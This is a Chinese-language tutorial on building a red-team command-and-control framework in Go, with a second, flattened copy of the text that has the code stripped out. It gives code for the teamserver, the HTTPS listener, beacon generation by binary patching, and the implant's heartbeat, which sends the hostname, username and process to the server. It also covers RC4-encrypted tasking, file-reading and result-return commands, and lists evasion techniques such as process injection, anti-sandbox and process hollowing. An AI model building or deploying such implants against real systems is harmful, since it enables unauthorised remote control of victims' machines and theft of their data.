从零开始手搓C2框架
字数 1707 2025-09-01 11:26:02

从零开始手搓C2框架 - 详细教学文档

1. 概述

本教学文档将详细讲解如何从零开始构建一个完整的C2(Command and Control)框架。C2框架是红队基础设施的核心组件,由Listener、TeamServer、Implant与GUI Client四大核心组件构成。

2. 项目结构与设计

2.1 项目目录结构

controller/      # 路由注册、服务器启动
server/          # 业务逻辑实现
handler/         # 监听器、Beacon和扩展的业务处理
middlewares/     # 中间件实现(如JWT鉴权、日志、错误恢复)
utils/           # 与业务无关的工具函数
profile/         # 全局配置
logs/            # 日志系统
static/          # 静态资源(证书、模板文件等)

2.2 核心设计理念

  1. 面向对象与依赖注入:避免全局变量,使用接口解耦
  2. 配置与代码分离:使用profile.json管理配置
  3. 模块化设计:四大核心组件各司其职

3. 服务器启动与配置

3.1 配置文件(profile.json)

{
  "teamserver": {
    "host": "0.0.0.0",
    "port": 443,
    "ssl": true,
    "cert": "server.rsa.crt",
    "key": "server.rsa.key"
  },
  "zap": {
    "level": "debug",
    "encoding": "json"
  }
}

3.2 证书生成

生成自签名RSA-2048服务器证书(有效期10年):

openssl req -x509 -newkey rsa:2048 -keyout server.rsa.key -out server.rsa.crt -days 3650 -nodes

3.3 服务器启动流程

  1. 加载配置文件
  2. 初始化中间件(GinLogger, GinRecovery, 404处理)
  3. 注册路由
  4. 启动HTTPS服务

3.4 核心代码

// main.go
func main() {
    profile := profile.NewProfile("profile.json")
    ts := server.NewTeamServer()
    ts.SetProfile(profile)
    
    c := controller.NewController()
    c.InitRouter(ts)
    
    go ts.Start()
    select {}
}

// server/teamserver.go
func (ts *TeamServer) Start() {
    ts.controller.StartServer(ts.profile, &ts.stopped)
}

4. 监听器实现

4.1 监听器配置

{
  "name": "http-listener",
  "configType": "http",
  "host": "0.0.0.0",
  "port": 8443,
  "ssl": true,
  "cert": "server.rsa.crt",
  "key": "server.rsa.key",
  "userAgent": "Mozilla/5.0",
  "uri": "/api/v1/health",
  "headers": {
    "X-Request-ID": "123456789"
  }
}

4.2 监听器启动流程

  1. 客户端发送创建请求到/listener/create
  2. 服务端校验配置
  3. 根据类型选择对应Handler
  4. 启动监听器并缓存元数据

4.3 核心代码

// handler/listener/http_listener.go
func (h *HTTPListener) HandlerListenerDataAndStart(config *request.ListenerConfig) (*response.ListenerData, error) {
    // 填充默认值
    if config.Headers == nil {
        config.Headers = make(map[string]string)
    }
    
    // 生成随机会话密钥
    sessionKey := crypt.GenerateRandomBytes(32)
    
    // 创建并启动HTTP服务器
    httpServer := &HTTP{
        Config:     config,
        SessionKey: sessionKey,
    }
    
    if config.SSL {
        go httpServer.StartTLS()
    } else {
        go httpServer.Start()
    }
    
    return &response.ListenerData{
        Name:       config.Name,
        ConfigType: config.ConfigType,
        Data:       config,
    }, nil
}

5. Beacon生成与上线

5.1 Beacon生成流程

  1. 客户端发送请求到/agent/generate
  2. 服务端查询监听器配置
  3. 使用Patch方式生成Beacon
  4. 返回Base64编码的Beacon文件

Patch方式实现:

  1. 在模板二进制中搜索CONFIG_MARKER_2024
  2. 覆盖为4字节小端序的profile长度
  3. 追加JSON序列化的配置数据

5.2 Beacon配置

{
  "beaconType": "http",
  "listenerName": "http-listener",
  "sleep": 5,
  "jitter": 20,
  "killDate": 0,
  "workingHours": "00:00-23:59",
  "proxy": {},
  "processInject": {},
  "postExploitation": {}
}

5.3 Beacon上线流程

  1. Beacon解密配置
  2. 收集系统信息
  3. 打包心跳包
  4. 发送到C2服务器注册

心跳包结构(TLV协议):

字段 类型 说明
BeaconID uint32 随机生成的会话ID
Sleep int32 心跳间隔秒数
Jitter int32 抖动百分比
KillDate int32 到期自毁时间
SessionKey []byte 会话密钥(加密后续通信)
Computer []byte 主机名
Username []byte 当前用户名
Process []byte 进程名

5.4 核心代码

// sysinfo/heartbeat.go
func PackHeartBeat(hb *HeartBeat) ([]byte, error) {
    packer := packet.NewPacker()
    
    // 打包固定长度字段
    packer.AddUint32(hb.BeaconID)
    packer.AddInt32(hb.Sleep)
    packer.AddInt32(hb.Jitter)
    packer.AddInt32(hb.KillDate)
    // ...其他字段
    
    // 打包变长字段
    packer.AddBytes(hb.SessionKey)
    packer.AddString(hb.Computer)
    packer.AddString(hb.Username)
    packer.AddString(hb.Process)
    
    return packer.Bytes(), nil
}

// main.go (Beacon端)
func main() {
    // 1. 加载配置
    config := profile.LoadConfig()
    
    // 2. 收集系统信息
    hb := sysinfo.InitHeartBeat(config)
    
    // 3. 打包心跳包
    data, _ := sysinfo.PackHeartBeat(hb)
    
    // 4. 加密并发送
    encrypted := crypt.RC4Crypt(data, config.SessionKey)
    base64Data := base64.URLEncoding.EncodeToString(encrypted)
    
    // 发送HTTP请求...
}

6. 任务下发与执行

6.1 任务包结构

+---------------+----------------+----------------+----------------+
| 长度(4B)      | 任务ID(4B)     | 命令类型(4B)   | 参数数据(变长) |
+---------------+----------------+----------------+----------------+

6.2 任务下发流程

  1. 客户端发送请求到/beacon/command/execute
  2. 服务端校验Beacon状态
  3. 生成任务ID并加入队列
  4. Beacon轮询获取任务

6.3 核心代码

// server/task.go
func (ts *TeamServer) TaskCreate(beaconID uint32, command *request.CommandData) (*response.TaskData, error) {
    // 检查Beacon是否存在
    if !ts.BeaconIsExists(beaconID) {
        return nil, errors.New("beacon not found")
    }
    
    // 生成任务ID
    taskID := crypt.GenerateUID(4)
    
    // 创建任务
    task := &Task{
        ID:      taskID,
        Type:    TYPE_TASK,
        Command: command,
    }
    
    // 加入任务队列
    ts.beacons[beaconID].Tasks.Add(task)
    
    return &response.TaskData{
        TaskID: taskID,
    }, nil
}

// handler/beacon/beacon_handler.go
func (h *BeaconHandler) PackTasks(tasks []*Task) ([]byte, error) {
    packer := packet.NewPacker()
    
    for _, task := range tasks {
        // 打包任务数据
        taskData, _ := h.CreateTask(task)
        
        // 打包完整任务包
        packer.AddInt32(int32(4 + 4 + len(taskData.Data))) // 长度(不包含自身)
        packer.AddBytes(taskData.TaskID)                    // 任务ID
        packer.AddBytes(taskData.Data)                      // 任务数据
    }
    
    return packer.Bytes(), nil
}

7. 任务执行与结果回传

7.1 结果包结构

+---------------+----------------+----------------+----------------+
| 长度(4B)      | 任务ID(4B)     | 命令类型(4B)   | 结果数据(变长) |
+---------------+----------------+----------------+----------------+

7.2 命令实现示例

cat命令:

// command/cat.go
func ExecuteCat(filePath string) ([]byte, error) {
    data, err := os.ReadFile(filePath)
    if err != nil {
        return nil, err
    }
    
    // 转换编码(如需要)
    if utils.IsWindows() {
        data, _ = utils.ConvertUTF8toCp(data, 936)
    }
    
    return data, nil
}

cd命令:

// command/cd.go
func ExecuteCd(path string) error {
    return os.Chdir(path)
}

7.3 结果处理流程

  1. Beacon执行任务
  2. 打包结果数据
  3. 加密并POST到服务器
  4. 服务端解密并处理结果

7.4 核心代码

// main.go (Beacon端)
func handleTask(taskData []byte) {
    parser := packet.NewParser(taskData)
    
    // 读取任务包长度
    length := parser.ParseInt32()
    
    // 读取任务ID
    taskID := parser.ParseBytes(4)
    
    // 读取命令类型
    commandID := parser.ParseInt32()
    
    var result []byte
    var err error
    
    switch commandID {
    case COMMAND_CAT:
        filePath := parser.ParseString()
        result, err = command.ExecuteCat(filePath)
    case COMMAND_CD:
        path := parser.ParseString()
        err = command.ExecuteCd(path)
    // ...其他命令
    }
    
    // 打包结果
    packer := packet.NewPacker()
    packer.AddBytes(taskID)
    packer.AddInt32(commandID)
    
    if err != nil {
        packer.AddInt32(COMMAND_ERROR_REPORT)
        packer.AddString(err.Error())
    } else {
        packer.AddBytes(result)
    }
    
    finalPacket := packer.MakeFinalPacket()
    encrypted := crypt.RC4Crypt(finalPacket, sessionKey)
    
    // 发送结果
    utils.HttpPost(config.CallbackAddress, encrypted)
}

// handler/listener/http_listener.go
func (h *HTTPListener) processResponse(w http.ResponseWriter, r *http.Request) {
    // 解密数据
    encrypted, _ := io.ReadAll(r.Body)
    decrypted := crypt.RC4Crypt(encrypted, sessionKey)
    
    // 处理结果
    h.ts.BeaconProcessData(beaconID, decrypted)
    
    w.WriteHeader(http.StatusOK)
}

8. 安全机制

  1. 流量加密:使用RC4加密所有通信
  2. 会话密钥:双重密钥机制(配置密钥+会话密钥)
  3. 请求校验:验证自定义请求头
  4. 防篡改:关键数据使用HMAC校验(可选)
  5. 证书加密:HTTPS传输层安全

9. 扩展与优化方向

  1. 高级命令

    • 进程注入
    • Shellcode执行
    • BOF(Binary Object File)加载
    • .NET Assembly执行
  2. 通信协议

    • DNS隧道
    • SMB通信
    • WebSocket
    • gRPC
  3. 防御规避

    • 反沙箱技术
    • 反调试技术
    • 内存加密
    • 进程镂空
  4. 管理功能

    • 多用户支持
    • 操作审计
    • 日志分析
    • 自动化任务

10. 总结

本教学详细讲解了从零开始构建C2框架的核心流程,包括:

  1. 服务器启动与配置管理
  2. 监听器的创建与启动
  3. Beacon的生成与上线机制
  4. 任务下发与执行流程
  5. 结果回传与处理
  6. 安全通信机制

通过实现这些核心功能,你已经掌握了C2框架的基本原理。实际红队操作中还需要添加更多高级功能和规避技术,但基础框架已经搭建完成。

从零开始手搓C2框架 - 详细教学文档 1. 概述 本教学文档将详细讲解如何从零开始构建一个完整的C2(Command and Control)框架。C2框架是红队基础设施的核心组件,由Listener、TeamServer、Implant与GUI Client四大核心组件构成。 2. 项目结构与设计 2.1 项目目录结构 2.2 核心设计理念 面向对象与依赖注入 :避免全局变量,使用接口解耦 配置与代码分离 :使用profile.json管理配置 模块化设计 :四大核心组件各司其职 3. 服务器启动与配置 3.1 配置文件(profile.json) 3.2 证书生成 生成自签名RSA-2048服务器证书(有效期10年): 3.3 服务器启动流程 加载配置文件 初始化中间件(GinLogger, GinRecovery, 404处理) 注册路由 启动HTTPS服务 3.4 核心代码 4. 监听器实现 4.1 监听器配置 4.2 监听器启动流程 客户端发送创建请求到 /listener/create 服务端校验配置 根据类型选择对应Handler 启动监听器并缓存元数据 4.3 核心代码 5. Beacon生成与上线 5.1 Beacon生成流程 客户端发送请求到 /agent/generate 服务端查询监听器配置 使用Patch方式生成Beacon 返回Base64编码的Beacon文件 Patch方式实现: 在模板二进制中搜索 CONFIG_MARKER_2024 覆盖为4字节小端序的profile长度 追加JSON序列化的配置数据 5.2 Beacon配置 5.3 Beacon上线流程 Beacon解密配置 收集系统信息 打包心跳包 发送到C2服务器注册 心跳包结构(TLV协议): | 字段 | 类型 | 说明 | |------|------|------| | BeaconID | uint32 | 随机生成的会话ID | | Sleep | int32 | 心跳间隔秒数 | | Jitter | int32 | 抖动百分比 | | KillDate | int32 | 到期自毁时间 | | SessionKey | [ ]byte | 会话密钥(加密后续通信) | | Computer | [ ]byte | 主机名 | | Username | [ ]byte | 当前用户名 | | Process | [ ]byte | 进程名 | 5.4 核心代码 6. 任务下发与执行 6.1 任务包结构 6.2 任务下发流程 客户端发送请求到 /beacon/command/execute 服务端校验Beacon状态 生成任务ID并加入队列 Beacon轮询获取任务 6.3 核心代码 7. 任务执行与结果回传 7.1 结果包结构 7.2 命令实现示例 cat命令: cd命令: 7.3 结果处理流程 Beacon执行任务 打包结果数据 加密并POST到服务器 服务端解密并处理结果 7.4 核心代码 8. 安全机制 流量加密 :使用RC4加密所有通信 会话密钥 :双重密钥机制(配置密钥+会话密钥) 请求校验 :验证自定义请求头 防篡改 :关键数据使用HMAC校验(可选) 证书加密 :HTTPS传输层安全 9. 扩展与优化方向 高级命令 : 进程注入 Shellcode执行 BOF(Binary Object File)加载 .NET Assembly执行 通信协议 : DNS隧道 SMB通信 WebSocket gRPC 防御规避 : 反沙箱技术 反调试技术 内存加密 进程镂空 管理功能 : 多用户支持 操作审计 日志分析 自动化任务 10. 总结 本教学详细讲解了从零开始构建C2框架的核心流程,包括: 服务器启动与配置管理 监听器的创建与启动 Beacon的生成与上线机制 任务下发与执行流程 结果回传与处理 安全通信机制 通过实现这些核心功能,你已经掌握了C2框架的基本原理。实际红队操作中还需要添加更多高级功能和规避技术,但基础框架已经搭建完成。